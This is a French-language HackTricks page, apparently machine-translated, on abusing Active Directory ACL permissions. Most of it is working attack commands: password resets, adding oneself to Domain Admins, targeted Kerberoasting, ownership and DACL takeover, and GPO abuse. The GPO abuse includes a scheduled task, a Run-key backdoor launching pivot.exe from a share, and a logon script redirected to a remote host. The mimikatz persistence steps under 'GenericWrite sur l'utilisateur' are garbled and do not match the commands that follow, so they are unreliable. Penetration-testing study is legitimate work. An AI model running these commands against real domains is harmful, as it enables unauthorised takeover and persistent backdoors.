hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

29 KiB
Raw Blame History

Abus des ACL/ACE d'Active Directory

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Contexte

Ce laboratoire vise à exploiter les autorisations faibles des listes de contrôle d'accès discrétionnaire (DACL) et des entrées de contrôle d'accès (ACE) d'Active Directory qui composent les DACL.

Les objets d'Active Directory tels que les utilisateurs et les groupes sont des objets sécurisables et les DACL/ACE définissent qui peut lire/modifier ces objets (par exemple, changer le nom du compte, réinitialiser le mot de passe, etc.).

Un exemple d'ACE pour l'objet sécurisable "Domain Admins" peut être vu ici :

Certaines des autorisations et types d'objets d'Active Directory qui nous intéressent en tant qu'attaquants sont :

  • GenericAll - droits complets sur l'objet (ajouter des utilisateurs à un groupe ou réinitialiser le mot de passe de l'utilisateur)
  • GenericWrite - mettre à jour les attributs de l'objet (par exemple, script de connexion)
  • WriteOwner - changer le propriétaire de l'objet pour un utilisateur contrôlé par l'attaquant et prendre le contrôle de l'objet
  • WriteDACL - modifier les ACE de l'objet et donner à l'attaquant un contrôle total sur l'objet
  • AllExtendedRights - possibilité d'ajouter un utilisateur à un groupe ou de réinitialiser le mot de passe
  • ForceChangePassword - possibilité de changer le mot de passe de l'utilisateur
  • Self (Self-Membership) - possibilité de vous ajouter à un groupe

Dans ce laboratoire, nous allons explorer et essayer d'exploiter la plupart des ACE mentionnés ci-dessus.

Il est utile de se familiariser avec tous les liens BloodHound et autant de droits étendus d'Active Directory que possible, car on ne sait jamais quand on peut rencontrer un droit moins courant lors d'une évaluation.

GenericAll sur un utilisateur

À l'aide de powerview, vérifions si notre utilisateur d'attaque spotless a les droits GenericAll sur l'objet AD pour l'utilisateur delegate :

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

Nous pouvons voir que notre utilisateur spotless a effectivement les droits GenericAll, ce qui permet à l'attaquant de prendre le contrôle du compte :

  • Changer le mot de passe : Vous pouvez simplement changer le mot de passe de cet utilisateur avec la commande suivante :
net user <nom_utilisateur> <mot_de_passe> /domain
  • Kerberoasting ciblé : Vous pouvez rendre l'utilisateur kerberoastable en définissant un SPN sur le compte, le kerberoaster et essayer de le casser hors ligne :
# Définir le SPN
Set-DomainObject -Credential $creds -Identity <nom_utilisateur> -Set @{serviceprincipalname="fake/NOTHING"}
# Obtenir le hash
.\Rubeus.exe kerberoast /user:<nom_utilisateur> /nowrap
# Nettoyer le SPN
Set-DomainObject -Credential $creds -Identity <nom_utilisateur> -Clear serviceprincipalname -Verbose

# Vous pouvez également utiliser l'outil https://github.com/ShutdownRepo/targetedKerberoast
# pour obtenir les hachages d'un ou de tous les utilisateurs
python3 targetedKerberoast.py -domain.local -u <nom_utilisateur> -p password -v
  • ASREPRoasting ciblé : Vous pouvez rendre l'utilisateur ASREPRoastable en désactivant la pré-authentification puis l'ASREProaster.
Set-DomainObject -Identity <nom_utilisateur> -XOR @{UserAccountControl=4194304}

GenericAll sur un groupe

Voyons si le groupe Domain admins a des autorisations faibles. Tout d'abord, obtenons son distinguishedName :

Get-NetGroup "domain admins" -FullData

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

Nous pouvons voir que notre utilisateur d'attaque spotless a à nouveau les droits GenericAll :

Cela nous permet efficacement de nous ajouter (l'utilisateur spotless) au groupe Domain Admin :

net group "domain admins" spotless /add /domain

La même chose peut être réalisée avec le module Active Directory ou PowerSploit :

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Écrire sur l'ordinateur/l'utilisateur

{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}

WriteProperty sur le groupe

Si notre utilisateur contrôlé a le droit WriteProperty sur Tous les objets du groupe Domain Admins :

Nous pouvons à nouveau nous ajouter au groupe Domain Admins et augmenter nos privilèges :

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Auto-appartenance (Self-Membership) au groupe

Un autre privilège qui permet à l'attaquant de s'ajouter lui-même à un groupe :

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Auto-appartenance)

Un autre privilège qui permet à l'attaquant de s'ajouter à un groupe :

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

net group "domain admins" spotless /add /domain

ForceChangePassword

Si nous avons les droits ExtendedRight sur le type d'objet User-Force-Change-Password, nous pouvons réinitialiser le mot de passe de l'utilisateur sans connaître son mot de passe actuel :

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Faire la même chose avec powerview:

Set-DomainUserPassword -Identity delegate -Verbose

Une autre méthode qui ne nécessite pas de manipuler la conversion de chaîne de caractères sécurisée par mot de passe :

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...ou une seule ligne si aucune session interactive n'est disponible :

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

et une dernière façon de réaliser cela depuis Linux :

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

Plus d'informations:

WriteOwner sur le groupe

Notez comment avant l'attaque, le propriétaire de Domain Admins est Domain Admins:

Après l'énumération ACE, si nous constatons qu'un utilisateur sous notre contrôle a des droits WriteOwner sur ObjectType:All

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

...nous pouvons changer le propriétaire de l'objet Domain Admins pour notre utilisateur, qui dans notre cas est spotless. Notez que le SID spécifié avec -Identity est le SID du groupe Domain Admins:

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite sur l'utilisateur

Lorsque vous avez réussi à obtenir des privilèges d'administration sur un contrôleur de domaine Active Directory, vous pouvez utiliser l'autorisation GenericWrite pour persister vos accès. L'autorisation GenericWrite permet à un utilisateur de modifier les attributs d'un objet sans avoir à connaître les valeurs actuelles de ces attributs.

Pour exploiter cette méthode, vous devez suivre les étapes suivantes :

  1. Identifiez un utilisateur avec des privilèges d'administration sur le domaine.
  2. Utilisez l'outil mimikatz pour extraire le hash NTLM de l'utilisateur.
  3. Utilisez l'outil mimikatz pour créer un ticket Kerberos pour l'utilisateur avec l'autorisation GenericWrite.
  4. Utilisez l'outil mimikatz pour injecter le ticket Kerberos dans le processus lsass.exe du contrôleur de domaine.
  5. Utilisez l'outil mimikatz pour exécuter une commande en tant qu'utilisateur avec l'autorisation GenericWrite.

Une fois que vous avez réussi à persister vos accès en utilisant l'autorisation GenericWrite, vous pouvez continuer à accéder au système même si vos privilèges d'administration sont révoqués. Cela peut être particulièrement utile pour maintenir un accès persistant à un environnement compromis.

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

La permission WriteProperty sur un ObjectType, qui dans ce cas particulier est Script-Path, permet à l'attaquant de remplacer le chemin du script de connexion de l'utilisateur delegate, ce qui signifie que la prochaine fois que l'utilisateur delegate se connectera, son système exécutera notre script malveillant :

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

Ci-dessous montre que le champ du script de connexion de l'utilisateur délégué a été mis à jour dans l'AD:

GenericWrite sur le groupe

Cela vous permet de définir de nouveaux utilisateurs (vous-même par exemple) en tant que membres du groupe:

# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


WriteDACL + WriteOwner

Si vous êtes le propriétaire d'un groupe, comme je suis le propriétaire d'un groupe AD Test :

Ce que vous pouvez bien sûr faire via PowerShell :

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

Et si vous avez un WriteDACL sur cet objet AD :

...vous pouvez vous donner des privilèges GenericAll avec une pincée de sorcellerie ADSI :

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

Ce qui signifie que vous avez désormais un contrôle total sur l'objet AD :

Cela signifie concrètement que vous pouvez désormais ajouter de nouveaux utilisateurs au groupe.

Il est intéressant de noter que je n'ai pas pu abuser de ces privilèges en utilisant le module Active Directory et les cmdlets Set-Acl / Get-Acl :

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

Réplication sur le domaine (DCSync)

La permission DCSync implique d'avoir les permissions suivantes sur le domaine lui-même : DS-Replication-Get-Changes, Replicating Directory Changes All et Replicating Directory Changes In Filtered Set.
En savoir plus sur l'attaque DCSync ici.

Délégation de GPO

Parfois, certains utilisateurs/groupes peuvent se voir déléguer l'accès pour gérer les objets de stratégie de groupe, comme c'est le cas avec l'utilisateur offense\spotless :

Nous pouvons le voir en utilisant PowerView de la manière suivante :

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Le tableau ci-dessous indique que l'utilisateur offense\spotless dispose des privilèges WriteProperty, WriteDacl, WriteOwner, ainsi que d'autres qui sont propices à l'abus :

Énumérer les autorisations des GPO

Nous savons que le ObjectDN ci-dessus, provenant de la capture d'écran ci-dessus, fait référence à l'objet GPO New Group Policy Object, car le ObjectDN pointe vers CN=Policies et également vers CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}, qui est identique aux paramètres de la GPO, comme indiqué ci-dessous :

Si nous voulons rechercher spécifiquement des GPO mal configurés, nous pouvons enchaîner plusieurs cmdlets de PowerSploit de la manière suivante :

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Ordinateurs avec une politique donnée appliquée

Nous pouvons maintenant résoudre les noms des ordinateurs sur lesquels la stratégie GPO "Politique mal configurée" est appliquée :

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Politiques appliquées à un ordinateur donné

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

Unités organisationnelles avec une politique donnée appliquée

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

Abus de GPO - New-GPOImmediateTask

L'une des façons d'abuser de cette mauvaise configuration et d'obtenir une exécution de code consiste à créer une tâche planifiée immédiate via la GPO comme suit :

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

Ce qui précède ajoutera notre utilisateur spotless au groupe local administrateurs de la machine compromise. Notez comment avant l'exécution du code, le groupe ne contient pas l'utilisateur spotless :

Module GroupPolicy - Abus de GPO

{% hint style="info" %} Vous pouvez vérifier si le module GroupPolicy est installé avec Get-Module -List -Name GroupPolicy | select -expand ExportedCommands. En cas de besoin, vous pouvez l'installer avec Install-WindowsFeature Name GPMC en tant qu'administrateur local. {% endhint %}

# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

Ce payload, une fois que le GPO est mis à jour, nécessitera également que quelqu'un se connecte à l'ordinateur.

SharpGPOAbuse - Abus de GPO

{% hint style="info" %} Il ne peut pas créer de GPO, nous devons donc toujours le faire avec RSAT ou modifier celui auquel nous avons déjà accès en écriture. {% endhint %}

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

Forcer la mise à jour de la stratégie

Les mises à jour abusives précédentes des GPO sont rechargées environ toutes les 90 minutes.
Si vous avez accès à l'ordinateur, vous pouvez le forcer avec gpupdate /force.

Sous le capot

Si nous observons les tâches planifiées de la GPO Misconfigured Policy, nous pouvons voir notre evilTask assis là :

Ci-dessous se trouve le fichier XML qui a été créé par New-GPOImmediateTask et qui représente notre tâche planifiée malveillante dans la GPO :

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>

{% endcode %}

Utilisateurs et groupes

La même élévation de privilèges peut être réalisée en abusant de la fonctionnalité Utilisateurs et groupes de GPO. Notez dans le fichier ci-dessous, à la ligne 6 où l'utilisateur spotless est ajouté au groupe local administrateurs - nous pourrions changer l'utilisateur par autre chose, en ajouter un autre ou même ajouter l'utilisateur à un autre groupe/plusieurs groupes car nous pouvons modifier le fichier de configuration de la stratégie à l'emplacement indiqué en raison de la délégation GPO attribuée à notre utilisateur spotless :

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>

{% endcode %}

De plus, nous pourrions envisager d'exploiter des scripts de connexion/déconnexion, d'utiliser le registre pour les autoruns, d'installer des fichiers .msi, de modifier les services et d'autres méthodes d'exécution de code similaires.

Références

Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives et détecte les problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥